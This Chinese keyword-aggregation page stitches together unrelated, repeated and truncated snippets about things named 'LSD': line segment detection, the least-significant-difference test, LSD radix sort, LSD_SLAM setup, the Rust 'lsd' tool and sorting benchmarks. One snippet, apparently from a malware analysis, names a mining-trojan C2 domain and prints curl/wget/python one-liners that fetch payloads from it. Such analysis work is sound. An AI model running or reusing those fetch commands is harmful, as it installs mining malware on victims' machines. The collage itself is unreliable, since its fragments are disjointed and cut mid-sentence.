【实例简介】 LSD直线检测工具箱,可以通过配置,直接调用,详细的配置信息参见reco_toolbox目录下的read me.txt 【实例截图】 【核心代码】 reco_toolbox ├── license.txt
直线段检测法(LSD) 1简介 2算法介绍 3.算法简述 4.应用示例 感谢观看 :) 本文仅用于个人学习/复习用途 1简介 LSD是一种线段检测算法,该方法号称是能在线性时间(linear-time)...LSD的目标在于检测图像中局部的直的轮廓,这也是我们称之为直线分割的原因。...2算法介绍 LSD直线检测方法首先计算每个像素点的水平线(level-Line)角度,从而形成了一个水平线场,即单位矢量场,这里像素点的水平线角度就是该点梯度方向的垂直角度,如下图所示,而水平线场就是一个与图像中的点一一对应的矩阵
多重比较法方法有很多种,这篇主要介绍一下比较常用的一种LSD,LSD是least significant difference的缩写,又称最小显著差异方法。...公式计算每个假设对应的LSD值。...; 假设3的均值之差绝对值10小于对应的LSD值14.63,所以不拒绝假设H0,即不能认为零售业与家电制造业有显著差异; 假设4的均值之差绝对值13小于对应的LSD值15.13,所以不拒绝假设H0,...即不能认为旅游业与航空业有显著差异; 假设5的均值之差绝对值11小于对应的LSD值15.13,所以不拒绝假设H0,即不能认为旅游业与家电制造业有显著差异; 假设6的均值之差绝对值24大于对应的LSD...以上就是关于多重比较法-LSD的一个简单介绍以及案例,希望对大家有用。
多重比较法方法有很多种,这篇主要介绍一下比较常用的一种LSD,LSD是least significant difference的缩写,又称最小显著差异方法。...公式计算每个假设对应的LSD值。...假设1的均值之差绝对值1小于对应的LSD值13.90,所以不拒绝假设H0,即不能认为零售业与旅游业有显著差异; 假设2的均值之差绝对值14小于对应的LSD值14.63,所以不拒绝假设H0,即不能认为零售业与航空业有显著差异...; 假设5的均值之差绝对值11小于对应的LSD值15.13,所以不拒绝假设H0,即不能认为旅游业与家电制造业有显著差异; 假设6的均值之差绝对值24大于对应的LSD值15.80,所以拒绝假设H0,即认为航空业与家电制造业有显著差异...以上就是关于多重比较法-LSD的一个简单介绍以及案例,希望对大家有用。
)”次对话框中勾选“LSD”),在SPSS中得到的多重比较结果如下图: 现在,我们来回答前述两个问题的答案: 1、关于LSD-t值的计算:LSD-t=Mean Difference(I-J)/Std....下图是LSD-t值的公式: 好了,原理大致说完了,下面我们根据上述数学原理来手动计算LSD-t值。...书接上文,咱们继续手动计算LSD-t值,这就很简单了:将数据复制到EXCEL中,根据LSD-t的计算公式,我们只需要将均值差除以标准误差(标准误差采用SPSS输出的值)就可以得到 LSD-t值了。...至此,我们就可以得出第一个重要的结论:LSD-t值等于LSD多重比较表格中的均值差除以该表中的标准误差。...至此,我们可以得出第二个重要结论:LSD-t多重比较表中的p值,就是对于LSD-t统计量(即LSD-t值)进行双尾t检验的p值(只不过SPSS没有为我们输入LSD-t值),我们可以放心使用,并且无需调整显著性水平
最小二乘法要关心的是对应的cost function是线性还是非线性函数,不同的方法计算效率如何,要不要求逆,矩阵的维数
基数排序 分为两类: 第一类:最低位优先法,简称LSD法:先从最低位开始排序,再对次低位排序,直到对最高位排序后得到一个有序序列;具体过程如下图所示: 初始数组序列为:15,25,105,78,34,21,32,41
今天说一说LSD基数排序_mll基因重排,希望能够帮助大家进步!!!...版本:Release 优化选项:O2 调试工具:OD 源码: //LSD基数排序(桶排序,模拟队列实现) #include #include <stdlib.h
基于两种不同的排序顺序,我们将基数排序分为 LSD(Least significant digital):排序方式由数值的最右边(低位)开始 MSD(Most significant...注意一点: LSD的基数排序适用于位数少的数列,如果位数多的话,使用MSD的效率会比较好。...—-称为”最低位优先”(LSD)法。...2.算法分析 平均时间复杂度:O(dn)(d即表示整形的最高位数) 空间复杂度:O(10n) (10表示0~9,用于存储临时的序列) 稳定性:稳定 3.程序实现 (1)LSD法实现 最低位优先法首先依据最低位关键码
多重比较法方法有很多种,这篇主要介绍一下比较常用的一种LSD,LSD是least significant difference的缩写,又称最小显著差异方法。...公式计算每个假设对应的LSD值。...假设2的均值之差绝对值14小于对应的LSD值14.63,所以不拒绝假设H0,即不能认为零售业与航空业有显著差异 假设3的均值之差绝对值10小于对应的LSD值14.63,所以不拒绝假设H0,即不能认为零售业与家电制造业有显著差异...假设4的均值之差绝对值13小于对应的LSD值15.13,所以不拒绝假设H0,即不能认为旅游业与航空业有显著差异 假设5的均值之差绝对值11小于对应的LSD值15.13,所以不拒绝假设H0,即不能认为旅游业与家电制造业有显著差异...假设6的均值之差绝对值24大于对应的LSD值15.80,所以拒绝假设H0,即认为航空业与家电制造业有显著差异 以上就是关于多重比较法-LSD的一个简单介绍以及案例,希望对大家有用。
LSD_SLAM编译之平台信息 本LSD_SLAM编译平台信息: ubuntu 16.04LS opencv 3.X ROS—kinetic 其他的都不重要… ROS_kinetic的安装参考点击此处...准备及安装 注意:一定要下载此处的LSD_SLAM 官方的lsd_slam一直没有编译成功,此LSD_SLAM已经被该作者fixed bugs.所以我们直接下载该git。...src/lsd_slam catkin_make LSD_SLAM运行 参考:LSD_SLAM编译运行-中运行 记得提前下载数据集 LSD_room.bag #新开窗口启动 ROS: roscore...#新开窗口,运行 viewer: cd ~/ros_workspace source devel/setup.bash rosrun lsd_slam_viewer viewer #然后会弹出一个名称为...#在新开窗口运行数据包: cd ~/ros_workspace rosbag play LSD_room.bag 发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/
最低位优先(Least Significant Digit first)法,简称LSD法:先从kd开始排序,再对kd-1进行排序,依次重复,直到对k1排序后便得到一个有序序列。...基数排序的方式可以采用LSD(Least significant digital)或MSD(Most significant digital),LSD的排序方式由键值的最右边开始,而MSD则相反,由键值的最左边开始
https://github.com/Peltoche/lsd 我这里环境是centos7的,对应的下载release文件为 lsd-0.21.0-x86_64-unknown-linux-musl.tar.gz...下载后放到/usr/local/lsd/ 目录下 vim /etc/profile export PATH=$PATH:/usr/local/lsd/ vim /root/.zshrc 加下alias...如下: alias l='lsd -l -h --size --sort=time -r --date +%Y-%m-%d" "%H:%M:%S' 常用的几个参数就是上面的alias里面都有了,其它的lsd
现在 Peltoche 用 Rust 重写了一个升级版的 ls 命令 —— lsd。 先来看一下效果图: ? 不错吧。加了色彩和更清晰的的信息条目展示。...安装也很简单,装了 Rust 开发环境的,用 cargo install lsd 就可以安装了。 其它也有对应的系统安装包,可供各 Linux 发行版和 macOS 安装使用。...欲知更多,请参见项目仓库:https://github.com/peltoche/lsd
LSD:Least-Significant Difference LSD是由费希尔提出,用t检验完成各组均值间的配对比较的方法,在许多数学软件(例如SPSS、Matlab等)中都包含这一种方法。...LSD(Least—SignificantDifference),最小显著性差异法。
一、基本思想 最低位优先法,LSD(Least significant digital)—— 先从最低位开始排序,再对次低位排序,直到对最高位排序后得到一个有序序列(位数不同时高位补 0)。
读完可能需要下面这首歌的时间 在《实例对比 Julia, R, Python,谁是狼语言?》...Julia、R、Python 当单个字符串的数量接近数字字符串时,Julia 是最快的,用了 Numpy 排序的 Python 第二,R 最慢。...此外,对于已在 SortingAlgorithms.jl 中实现的某些位类型(但不是字符串),存在 LSD 基数排序。 所以我已经实现了 MSD 和 LSD 变种的基数排序算法。...MSD 和 LSD 算法的实现 我已经实现了 MSD 和 LSD 变量。 根据我的研究,通常情况是 MSD 算法对于可变长度字符串支持更好,并且 LSD 算法对固定长度算法最有效。...从我的基准测试来看,即使对于可变长度字符串,我的 MSD 实现也不像 LSD 算法那样高效,这就有点奇怪了。 因为我的大多数研究都认为 MSD 比 LSD 更具性能。
本文作者戴卓嘉,拥有 10 年开发经验的数据科学家,以下是他对 Julia、R、Python 分别在字符串排序速度上的示例与对比,Python 为何会被碾压?废话不多说,马上开讲。...二、Julia、R、Python 谁更快? 当单个字符串的数量接近数字字符串时,Julia 是最快的,用了 Numpy 排序的 Python 第二,R 最慢。...此外,Python 也很慢(参见上面的基准测试),希望 pandas2 可以帮助解决这个问题 。...六、MSD 和 LSD 算法的实现 我已经实现了 MSD 和 LSD 变量。 根据我的研究,通常情况是 MSD 算法对于可变长度字符串支持更好,并且 LSD 算法对固定长度算法最有效。...从基准测试来看,即使对于可变长度字符串,我的 MSD 实现也不像 LSD 算法那样高效,这就有点奇怪了。因为我的大多数研究都认为 MSD 比 LSD 更具性能。
相应的C2地址为lsd.systemten.org,通过微步在线查看其已被标识为远控、挖矿木马。 ?...||wget -q -T180 -O- lsd.systemten.org||python -c'import urllib;printurllib.urlopen(\"http://lsd.systemten.org...||wget -q -T180 -O- lsd.systemten.org||python -c 'importurllib;printurllib.urlopen("http://lsd.systemten.org...||wget -q -O- lsd.systemten.org||python -c 'importurllib;print urllib.urlopen(\"http://lsd.systemten.org...||wget -q -O- lsd.systemten.org||python -c 'importurllib;print urllib.urlopen(\"http://lsd.systemten.org
带 M-LSD 管路的 ControlNet Stable Diffusion 1.5 + ControlNet(使用简单的 M-LSD 直线检测) python gradio_hough2image.py...Gradio 应用程序还允许您更改 M-LSD 阈值。...building" ControlNet with HED Boundary Stable Diffusion 1.5 + ControlNet (using soft HED Boundary) python...masterpiece" Prompt: "Cyberpunk robot" 带有用户涂鸦的 ControlNet Stable Diffusion 1.5 + ControlNet(使用 Scribbles) python
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